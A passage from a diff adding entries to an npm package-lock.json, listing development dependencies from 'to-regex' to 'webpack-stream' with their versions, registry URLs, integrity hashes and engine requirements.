"sha512-BwY5b5Ql4+qZoefgMj2NUmx+tehVTH/Kf4k1ZEtOHNFcm2wSxMRo992l6X3TIgni2eZVTZ85xMOjF31fwZAj6Q==", + "dev": true, + "dependencies": { + "assign-symbols": "^1.0.0", + "is-extendable": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/to-regex/node_modules/is-accessor-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-accessor-descriptor/-/is-accessor-descriptor-1.0.0.tgz", + "integrity": "sha512-m5hnHTkcVsPfqx3AKlyttIPb7J+XykHvJP2B9bZDjlhLIoEq4XoK64Vg7boZlVWYK6LUY94dYPEE7Lh0ZkZKcQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/to-regex/node_modules/is-data-descriptor": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/is-data-descriptor/-/is-data-descriptor-1.0.0.tgz", + "integrity": "sha512-jbRXy1FmtAoCjQkVmIVYwuuqDFUbaOeDjmed1tOGPrsMhtJA4rD9tkgA0F1qJ3gRFRXcHYVkdeaP50Q5rE/jLQ==", + "dev": true, + "dependencies": { + "kind-of": "^6.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/to-regex/node_modules/is-descriptor": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/is-descriptor/-/is-descriptor-1.0.2.tgz", + "integrity": "sha512-2eis5WqQGV7peooDyLmNEPUrps9+SXX5c9pL3xEB+4e9HnGuDa7mB7kHxHw4CbqS9k1T2hOH3miL8n8WtiYVtg==", + "dev": true, + "dependencies": { + "is-accessor-descriptor": "^1.0.0", + "is-data-descriptor": "^1.0.0", + "kind-of": "^6.0.2" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/to-regex/node_modules/is-extendable": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz", + "integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==", + "dev": true, + "dependencies": { + "is-plain-object": "^2.0.4" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/to-through": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-through/-/to-through-2.0.0.tgz", + "integrity": "sha512-+QIz37Ly7acM4EMdw2PRN389OneM5+d844tirkGp4dPKzI5OE72V9OsbFp+CIYJDahZ41ZV05hNtcPAQUAm9/Q==", + "dev": true, + "dependencies": { + "through2": "^2.0.3" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/to-through/node_modules/through2": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", + "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", + "dev": true, + "dependencies": { + "readable-stream": "~2.3.6", + "xtend": "~4.0.1" + } + }, + "node_modules/tough-cookie": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/tough-cookie/-/tough-cookie-4.1.3.tgz", + "integrity": "sha512-aX/y5pVRkfRnfmuX+OdbSdXvPe6ieKX/G2s7e98f4poJHnqH3281gDPm/metm6E/WRamfx7WC4HUqkWHfQHprw==", + "dev": true, + "dependencies": { + "psl": "^1.1.33", + "punycode": "^2.1.1", + "universalify": "^0.2.0", + "url-parse": "^1.5.3" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/tr46": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/tr46/-/tr46-3.0.0.tgz", + "integrity": "sha512-l7FvfAHlcmulp8kr+flpQZmVwtu7nfRV7NZujtN0OqES8EL4O4e0qqzL0DC5gAvx/ZC/9lk6rhcUwYvkBnBnYA==", + "dev": true, + "dependencies": { + "punycode": "^2.1.1" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/transfob": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/transfob/-/transfob-1.0.0.tgz", + "integrity": "sha512-8pltyWUhEM8NJdYRt5mUlnLEImxozXnmAkD4xL9MKTFyNiKuraibTiXnGbjuxtQdP9CzihRy4PR+Al7Iy2cmCw==", + "dev": true + }, + "node_modules/ts-interface-checker": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", + "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==", + "dev": true + }, + "node_modules/type": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/type/-/type-1.2.0.tgz", + "integrity": "sha512-+5nt5AAniqsCnu2cEQQdpzCAh33kVx8n0VoFidKpB1dVVLAN/F+bgVOqOJqOnEnrhp222clB5p3vUlD+1QAnfg==", + "dev": true + }, + "node_modules/type-check": { + "version": "0.4.0", + "resolved": "https://registry.npmjs.org/type-check/-/type-check-0.4.0.tgz", + "integrity": "sha512-XleUoc9uwGXqjWwXaUTZAmzMcFZ5858QA2vvx1Ur5xIcixXIP+8LnFDgRplU30us6teqdlskFfu+ae4K79Ooew==", + "dev": true, + "dependencies": { + "prelude-ls": "^1.2.1" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/type-detect": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/type-detect/-/type-detect-4.0.8.tgz", + "integrity": "sha512-0fr/mIH1dlO+x7TlcMy+bIDqKPsw/70tVyeHW787goQjhmqaZe10uwLujubK9q9Lg6Fiho1KUKDYz0Z7k7g5/g==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/type-fest": { + "version": "0.8.1", + "resolved": "https://registry.npmjs.org/type-fest/-/type-fest-0.8.1.tgz", + "integrity": "sha512-4dbzIzqvjtgiM5rw1k5rEHtBANKmdudhGyBEajN01fEyhaAIhsoKNy6y7+IN93IfpFtwY9iqi7kD+xwKhQsNJA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/typedarray": { + "version": "0.0.6", + "resolved": "https://registry.npmjs.org/typedarray/-/typedarray-0.0.6.tgz", + "integrity": "sha512-/aCDEGatGvZ2BIk+HmLf4ifCJFwvKFNb9/JeZPMulfgFracn9QFcAf5GO8B/mweUjSoblS5In0cWhqpfs/5PQA==", + "dev": true + }, + "node_modules/typedarray-to-buffer": { + "version": "3.1.5", + "resolved": "https://registry.npmjs.org/typedarray-to-buffer/-/typedarray-to-buffer-3.1.5.tgz", + "integrity": "sha512-zdu8XMNEDepKKR+XYOXAVPtWui0ly0NtohUscw+UmaHiAWT8hrV1rr//H6V+0DvJ3OQ19S979M0laLfX8rm82Q==", + "dev": true, + "dependencies": { + "is-typedarray": "^1.0.0" + } + }, + "node_modules/uc.micro": { + "version": "1.0.6", + "resolved": "https://registry.npmjs.org/uc.micro/-/uc.micro-1.0.6.tgz", + "integrity": "sha512-8Y75pvTYkLJW2hWQHXxoqRgV7qb9B+9vFEtidML+7koHUFapnVJAZ6cKs+Qjz5Aw3aZWHMC6u0wJE3At+nSGwA==", + "dev": true + }, + "node_modules/uglify-js": { + "version": "3.4.10", + "resolved": "https://registry.npmjs.org/uglify-js/-/uglify-js-3.4.10.tgz", + "integrity": "sha512-Y2VsbPVs0FIshJztycsO2SfPk7/KAF/T72qzv9u5EpQ4kB2hQoHlhNQTsNyy6ul7lQtqJN/AoWeS23OzEiEFxw==", + "dev": true, + "dependencies": { + "commander": "~2.19.0", + "source-map": "~0.6.1" + }, + "bin": { + "uglifyjs": "bin/uglifyjs" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/uglify-js/node_modules/commander": { + "version": "2.19.0", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.19.0.tgz", + "integrity": "sha512-6tvAOO+D6OENvRAh524Dh9jcfKTYDQAqvqezbCW82xj5X0pSrcpxtvRKHLG0yBY6SD7PSDrJaj+0AiOcKVd1Xg==", + "dev": true + }, + "node_modules/unc-path-regex": { + "version": "0.1.2", + "resolved": "https://registry.npmjs.org/unc-path-regex/-/unc-path-regex-0.1.2.tgz", + "integrity": "sha512-eXL4nmJT7oCpkZsHZUOJo8hcX3GbsiDOa0Qu9F646fi8dT3XuSVopVqAcEiVzSKKH7UoDti23wNX3qGFxcW5Qg==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/underscore": { + "version": "1.13.6", + "resolved": "https://registry.npmjs.org/underscore/-/underscore-1.13.6.tgz", + "integrity": "sha512-+A5Sja4HP1M08MaXya7p5LvjuM7K6q/2EaC0+iovj/wOcMsTzMvDFbasi/oSapiwOlt252IqsKqPjCl7huKS0A==", + "dev": true + }, + "node_modules/undertaker": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/undertaker/-/undertaker-1.3.0.tgz", + "integrity": "sha512-/RXwi5m/Mu3H6IHQGww3GNt1PNXlbeCuclF2QYR14L/2CHPz3DFZkvB5hZ0N/QUkiXWCACML2jXViIQEQc2MLg==", + "dev": true, + "dependencies": { + "arr-flatten": "^1.0.1", + "arr-map": "^2.0.0", + "bach": "^1.0.0", + "collection-map": "^1.0.0", + "es6-weak-map": "^2.0.1", + "fast-levenshtein": "^1.0.0", + "last-run": "^1.1.0", + "object.defaults": "^1.0.0", + "object.reduce": "^1.0.0", + "undertaker-registry": "^1.0.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/undertaker-registry": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/undertaker-registry/-/undertaker-registry-1.0.1.tgz", + "integrity": "sha512-UR1khWeAjugW3548EfQmL9Z7pGMlBgXteQpr1IZeZBtnkCJQJIJ1Scj0mb9wQaPvUZ9Q17XqW6TIaPchJkyfqw==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/undertaker/node_modules/fast-levenshtein": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-1.1.4.tgz", + "integrity": "sha512-Ia0sQNrMPXXkqVFt6w6M1n1oKo3NfKs+mvaV811Jwir7vAk9a6PVV9VPYf6X3BU97QiLEmuW3uXH9u87zDFfdw==", + "dev": true + }, + "node_modules/unicode-canonical-property-names-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-canonical-property-names-ecmascript/-/unicode-canonical-property-names-ecmascript-2.0.0.tgz", + "integrity": "sha512-yY5PpDlfVIU5+y/BSCxAJRBIS1Zc2dDG3Ujq+sR0U+JjUevW2JhocOF+soROYDSaAezOzOKuyyixhD6mBknSmQ==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-ecmascript": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-ecmascript/-/unicode-match-property-ecmascript-2.0.0.tgz", + "integrity": "sha512-5kaZCrbp5mmbz5ulBkDkbY0SsPOjKqVS35VpL9ulMPfSl0J0Xsm+9Evphv9CoIZFwre7aJoa94AY6seMKGVN5Q==", + "dev": true, + "dependencies": { + "unicode-canonical-property-names-ecmascript": "^2.0.0", + "unicode-property-aliases-ecmascript": "^2.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-match-property-value-ecmascript": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/unicode-match-property-value-ecmascript/-/unicode-match-property-value-ecmascript-2.1.0.tgz", + "integrity": "sha512-qxkjQt6qjg/mYscYMC0XKRn3Rh0wFPlfxB0xkt9CfyTvpX1Ra0+rAmdX2QyAobptSEvuy4RtpPRui6XkV+8wjA==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/unicode-property-aliases-ecmascript": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/unicode-property-aliases-ecmascript/-/unicode-property-aliases-ecmascript-2.1.0.tgz", + "integrity": "sha512-6t3foTQI9qne+OZoVQB/8x8rk2k1eVy1gRXhV3oFQ5T6R1dqQ1xtin3XqSlx3+ATBkliTaR/hHyJBm+LVPNM8w==", + "dev": true, + "engines": { + "node": ">=4" + } + }, + "node_modules/union-value": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/union-value/-/union-value-1.0.1.tgz", + "integrity": "sha512-tJfXmxMeWYnczCVs7XAEvIV7ieppALdyepWMkHkwciRpZraG/xwT+s2JN8+pr1+8jCRf80FFzvr+MpQeeoF4Xg==", + "dev": true, + "dependencies": { + "arr-union": "^3.1.0", + "get-value": "^2.0.6", + "is-extendable": "^0.1.1", + "set-value": "^2.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/unique-stream": { + "version": "2.3.1", + "resolved": "https://registry.npmjs.org/unique-stream/-/unique-stream-2.3.1.tgz", + "integrity": "sha512-2nY4TnBE70yoxHkDli7DMazpWiP7xMdCYqU2nBRO0UB+ZpEkGsSija7MvmvnZFUeC+mrgiUfcHSr3LmRFIg4+A==", + "dev": true, + "dependencies": { + "json-stable-stringify-without-jsonify": "^1.0.1", + "through2-filter": "^3.0.0" + } + }, + "node_modules/universalify": { + "version": "0.2.0", + "resolved": "https://registry.npmjs.org/universalify/-/universalify-0.2.0.tgz", + "integrity": "sha512-CJ1QgKmNg3CwvAv/kOFmtnEN05f0D/cn9QntgNOQlQF9dgvVTHj3t+8JPdjqawCHk7V/KA+fbUqzZ9XWhcqPUg==", + "dev": true, + "engines": { + "node": ">= 4.0.0" + } + }, + "node_modules/unset-value": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/unset-value/-/unset-value-1.0.0.tgz", + "integrity": "sha512-PcA2tsuGSF9cnySLHTLSh2qrQiJ70mn+r+Glzxv2TWZblxsxCC52BDlZoPCsz7STd9pN7EZetkWZBAvk4cgZdQ==", + "dev": true, + "dependencies": { + "has-value": "^0.3.1", + "isobject": "^3.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/unset-value/node_modules/has-value": { + "version": "0.3.1", + "resolved": "https://registry.npmjs.org/has-value/-/has-value-0.3.1.tgz", + "integrity": "sha512-gpG936j8/MzaeID5Yif+577c17TxaDmhuyVgSwtnL/q8UUTySg8Mecb+8Cf1otgLoD7DDH75axp86ER7LFsf3Q==", + "dev": true, + "dependencies": { + "get-value": "^2.0.3", + "has-values": "^0.1.4", + "isobject": "^2.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/unset-value/node_modules/has-value/node_modules/isobject": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/isobject/-/isobject-2.1.0.tgz", + "integrity": "sha512-+OUdGJlgjOBZDfxnDjYYG6zp487z0JGNQq3cYQYg5f5hKR+syHMsaztzGeml/4kGG55CSpKSpWTY+jYGgsHLgA==", + "dev": true, + "dependencies": { + "isarray": "1.0.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/unset-value/node_modules/has-values": { + "version": "0.1.4", + "resolved": "https://registry.npmjs.org/has-values/-/has-values-0.1.4.tgz", + "integrity": "sha512-J8S0cEdWuQbqD9//tlZxiMuMNmxB8PlEwvYwuxsTmR1G5RXUePEX/SJn7aD0GMLieuZYSwNH0cQuJGwnYunXRQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/upath": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/upath/-/upath-1.2.0.tgz", + "integrity": "sha512-aZwGpamFO61g3OlfT7OQCHqhGnW43ieH9WZeP7QxN/G/jS4jfqUkZxoryvJgVPEcrl5NL/ggHsSmLMHuH64Lhg==", + "dev": true, + "engines": { + "node": ">=4", + "yarn": "*" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.11.tgz", + "integrity": "sha512-dCwEFf0/oT85M1fHBg4F0jtLwJrutGoHSQXCh7u4o2t1drG+c0a9Flnqww6XUKSfQMPpJBRjU8d4RXB09qtvaA==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + }, + "bin": { + "update-browserslist-db": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/upper-case": { + "version": "1.1.3", + "resolved": "https://registry.npmjs.org/upper-case/-/upper-case-1.1.3.tgz", + "integrity": "sha512-WRbjgmYzgXkCV7zNVpy5YgrHgbBv126rMALQQMrmzOVC4GM2waQ9x7xtm8VU+1yF2kWyPzI9zbZ48n4vSxwfSA==", + "dev": true + }, + "node_modules/uri-js": { + "version": "4.4.1", + "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz", + "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==", + "dev": true, + "dependencies": { + "punycode": "^2.1.0" + } + }, + "node_modules/urijs": { + "version": "1.19.11", + "resolved": "https://registry.npmjs.org/urijs/-/urijs-1.19.11.tgz", + "integrity": "sha512-HXgFDgDommxn5/bIv0cnQZsPhHDA90NPHD6+c/v21U5+Sx5hoP8+dP9IZXBU1gIfvdRfhG8cel9QNPeionfcCQ==", + "dev": true + }, + "node_modules/urix": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/urix/-/urix-0.1.0.tgz", + "integrity": "sha512-Am1ousAhSLBeB9cG/7k7r2R0zj50uDRlZHPGbazid5s9rlF1F/QKYObEKSIunSjIOkJZqwRRLpvewjEkM7pSqg==", + "deprecated": "Please see https://github.com/lydell/urix#deprecated", + "dev": true + }, + "node_modules/url-parse": { + "version": "1.5.10", + "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz", + "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==", + "dev": true, + "dependencies": { + "querystringify": "^2.1.1", + "requires-port": "^1.0.0" + } + }, + "node_modules/use": { + "version": "3.1.1", + "resolved": "https://registry.npmjs.org/use/-/use-3.1.1.tgz", + "integrity": "sha512-cwESVXlO3url9YWlFW/TA9cshCEhtu7IKJ/p5soJ/gGpj7vbvFrAY/eIioQ6Dw23KjZhYgiIo8HOs1nQ2vr/oQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true + }, + "node_modules/uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "dev": true, + "bin": { + "uuid": "dist/bin/uuid" + } + }, + "node_modules/v8-compile-cache": { + "version": "2.3.0", + "resolved": "https://registry.npmjs.org/v8-compile-cache/-/v8-compile-cache-2.3.0.tgz", + "integrity": "sha512-l8lCEmLcLYZh4nbunNZvQCJc5pv7+RCwa8q/LdUx8u7lsWvPDKmpodJAJNwkAhJC//dFY48KuIEmjtd4RViDrA==", + "dev": true + }, + "node_modules/v8flags": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/v8flags/-/v8flags-3.2.0.tgz", + "integrity": "sha512-mH8etigqMfiGWdeXpaaqGfs6BndypxusHHcv2qSHyZkGEznCd/qAXCWWRzeowtL54147cktFOC4P5y+kl8d8Jg==", + "dev": true, + "dependencies": { + "homedir-polyfill": "^1.0.1" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/validate-npm-package-license": { + "version": "3.0.4", + "resolved": "https://registry.npmjs.org/validate-npm-package-license/-/validate-npm-package-license-3.0.4.tgz", + "integrity": "sha512-DpKm2Ui/xN7/HQKCtpZxoRWBhZ9Z0kqtygG8XCgNQ8ZlDnxuQmWhj566j8fN4Cu3/JmbhsDo7fcAJq4s9h27Ew==", + "dev": true, + "dependencies": { + "spdx-correct": "^3.0.0", + "spdx-expression-parse": "^3.0.0" + } + }, + "node_modules/value-or-function": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/value-or-function/-/value-or-function-3.0.0.tgz", + "integrity": "sha512-jdBB2FrWvQC/pnPtIqcLsMaQgjhdb6B7tk1MMyTKapox+tQZbdRP4uLxu/JY0t7fbfDCUMnuelzEYv5GsxHhdg==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/vinyl": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/vinyl/-/vinyl-2.2.1.tgz", + "integrity": "sha512-LII3bXRFBZLlezoG5FfZVcXflZgWP/4dCwKtxd5ky9+LOtM4CS3bIRQsmR1KMnMW07jpE8fqR2lcxPZ+8sJIcw==", + "dev": true, + "dependencies": { + "clone": "^2.1.1", + "clone-buffer": "^1.0.0", + "clone-stats": "^1.0.0", + "cloneable-readable": "^1.0.0", + "remove-trailing-separator": "^1.0.1", + "replace-ext": "^1.0.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/vinyl-fs": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/vinyl-fs/-/vinyl-fs-3.0.3.tgz", + "integrity": "sha512-vIu34EkyNyJxmP0jscNzWBSygh7VWhqun6RmqVfXePrOwi9lhvRs//dOaGOTRUQr4tx7/zd26Tk5WeSVZitgng==", + "dev": true, + "dependencies": { + "fs-mkdirp-stream": "^1.0.0", + "glob-stream": "^6.1.0", + "graceful-fs": "^4.0.0", + "is-valid-glob": "^1.0.0", + "lazystream": "^1.0.0", + "lead": "^1.0.0", + "object.assign": "^4.0.4", + "pumpify": "^1.3.5", + "readable-stream": "^2.3.3", + "remove-bom-buffer": "^3.0.0", + "remove-bom-stream": "^1.2.0", + "resolve-options": "^1.1.0", + "through2": "^2.0.0", + "to-through": "^2.0.0", + "value-or-function": "^3.0.0", + "vinyl": "^2.0.0", + "vinyl-sourcemap": "^1.1.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/vinyl-fs/node_modules/through2": { + "version": "2.0.5", + "resolved": "https://registry.npmjs.org/through2/-/through2-2.0.5.tgz", + "integrity": "sha512-/mrRod8xqpA+IHSLyGCQ2s8SPHiCDEeQJSep1jqLYeEUClOFG2Qsh+4FU6G9VeqpZnGW/Su8LQGc4YKni5rYSQ==", + "dev": true, + "dependencies": { + "readable-stream": "~2.3.6", + "xtend": "~4.0.1" + } + }, + "node_modules/vinyl-sourcemap": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/vinyl-sourcemap/-/vinyl-sourcemap-1.1.0.tgz", + "integrity": "sha512-NiibMgt6VJGJmyw7vtzhctDcfKch4e4n9TBeoWlirb7FMg9/1Ov9k+A5ZRAtywBpRPiyECvQRQllYM8dECegVA==", + "dev": true, + "dependencies": { + "append-buffer": "^1.0.2", + "convert-source-map": "^1.5.0", + "graceful-fs": "^4.1.6", + "normalize-path": "^2.1.1", + "now-and-later": "^2.0.0", + "remove-bom-buffer": "^3.0.0", + "vinyl": "^2.0.0" + }, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/vinyl-sourcemap/node_modules/normalize-path": { + "version": "2.1.1", + "resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-2.1.1.tgz", + "integrity": "sha512-3pKJwH184Xo/lnH6oyP1q2pMd7HcypqqmRs91/6/i2CGtWwIKGCkOOMTm/zXbgTEWHw1uNpNi/igc3ePOYHb6w==", + "dev": true, + "dependencies": { + "remove-trailing-separator": "^1.0.1" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/vinyl-sourcemaps-apply": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/vinyl-sourcemaps-apply/-/vinyl-sourcemaps-apply-0.2.1.tgz", + "integrity": "sha512-+oDh3KYZBoZC8hfocrbrxbLUeaYtQK7J5WU5Br9VqWqmCll3tFJqKp97GC9GmMsVIL0qnx2DgEDVxdo5EZ5sSw==", + "dev": true, + "dependencies": { + "source-map": "^0.5.1" + } + }, + "node_modules/vinyl-sourcemaps-apply/node_modules/source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/vinyl/node_modules/replace-ext": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/replace-ext/-/replace-ext-1.0.1.tgz", + "integrity": "sha512-yD5BHCe7quCgBph4rMQ+0KkIRKwWCrHDOX1p1Gp6HwjPM5kVoCdKGNhN7ydqqsX6lJEnQDKZ/tFMiEdQ1dvPEw==", + "dev": true, + "engines": { + "node": ">= 0.10" + } + }, + "node_modules/w3c-hr-time": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/w3c-hr-time/-/w3c-hr-time-1.0.2.tgz", + "integrity": "sha512-z8P5DvDNjKDoFIHK7q8r8lackT6l+jo/Ye3HOle7l9nICP9lf1Ci25fy9vHd0JOWewkIFzXIEig3TdKT7JQ5fQ==", + "deprecated": "Use your platform's native performance.now() and performance.timeOrigin.", + "dev": true, + "dependencies": { + "browser-process-hrtime": "^1.0.0" + } + }, + "node_modules/w3c-xmlserializer": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/w3c-xmlserializer/-/w3c-xmlserializer-3.0.0.tgz", + "integrity": "sha512-3WFqGEgSXIyGhOmAFtlicJNMjEps8b1MG31NCA0/vOF9+nKMUW1ckhi9cnNHmf88Rzw5V+dwIwsm2C7X8k9aQg==", + "dev": true, + "dependencies": { + "xml-name-validator": "^4.0.0" + }, + "engines": { + "node": ">=12" + } + }, + "node_modules/watchpack": { + "version": "2.4.0", + "resolved": "https://registry.npmjs.org/watchpack/-/watchpack-2.4.0.tgz", + "integrity": "sha512-Lcvm7MGST/4fup+ifyKi2hjyIAwcdI4HRgtvTpIUxBRhB+RFtUh8XtDOxUfctVCnhVi+QQj49i91OyvzkJl6cg==", + "dev": true, + "peer": true, + "dependencies": { + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.1.2" + }, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webidl-conversions": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/webidl-conversions/-/webidl-conversions-7.0.0.tgz", + "integrity": "sha512-VwddBukDzu71offAQR975unBIGqfKZpM+8ZX6ySk8nYhVoo5CYaZyzt3YBvYtRtO+aoGlqxPg/B87NGVZ/fu6g==", + "dev": true, + "engines": { + "node": ">=12" + } + }, + "node_modules/webpack": { + "version": "5.88.2", + "resolved": "https://registry.npmjs.org/webpack/-/webpack-5.88.2.tgz", + "integrity": "sha512-JmcgNZ1iKj+aiR0OvTYtWQqJwq37Pf683dY9bVORwVbUrDhLhdn/PlO2sHsFHPkj7sHNQF3JwaAkp49V+Sq1tQ==", + "dev": true, + "peer": true, + "dependencies": { + "@types/eslint-scope": "^3.7.3", + "@types/estree": "^1.0.0", + "@webassemblyjs/ast": "^1.11.5", + "@webassemblyjs/wasm-edit": "^1.11.5", + "@webassemblyjs/wasm-parser": "^1.11.5", + "acorn": "^8.7.1", + "acorn-import-assertions": "^1.9.0", + "browserslist": "^4.14.5", + "chrome-trace-event": "^1.0.2", + "enhanced-resolve": "^5.15.0", + "es-module-lexer": "^1.2.1", + "eslint-scope": "5.1.1", + "events": "^3.2.0", + "glob-to-regexp": "^0.4.1", + "graceful-fs": "^4.2.9", + "json-parse-even-better-errors": "^2.3.1", + "loader-runner": "^4.2.0", + "mime-types": "^2.1.27", + "neo-async": "^2.6.2", + "schema-utils": "^3.2.0", + "tapable": "^2.1.1", + "terser-webpack-plugin": "^5.3.7", + "watchpack": "^2.4.0", + "webpack-sources": "^3.2.3" + }, + "bin": { + "webpack": "bin/webpack.js" + }, + "engines": { + "node": ">=10.13.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/webpack" + }, + "peerDependenciesMeta": { + "webpack-cli": { + "optional": true + } + } + }, + "node_modules/webpack-sources": { + "version": "3.2.3", + "resolved": "https://registry.npmjs.org/webpack-sources/-/webpack-sources-3.2.3.tgz", + "integrity": "sha512-/DyMEOrDgLKKIG0fmvtz+4dUX/3Ghozwgm6iPp8KRhvn+eQf9+Q7GWxVNMk3+uCPWfdXYC4ExGBckIXdFEfH1w==", + "dev": true, + "peer": true, + "engines": { + "node": ">=10.13.0" + } + }, + "node_modules/webpack-stream": { + "version": "7.0.0", + "resolved": "https://registry.npmjs.org/webpack-stream/-/webpack-stream-7.0.0.tgz", + "integrity": "sha512-XoAQTHyCaYMo6TS7Atv1HYhtmBgKiVLONJbzLBl2V3eibXQ2IT/MCRM841RW/r3vToKD5ivrTJFWgd/ghoxoRg==", + "dev": true, + "dependencies": { + "fancy-log": "^1.3.3", + "lodash.clone": "^4.3.2", + "lodash.some": "^4.2.2", + 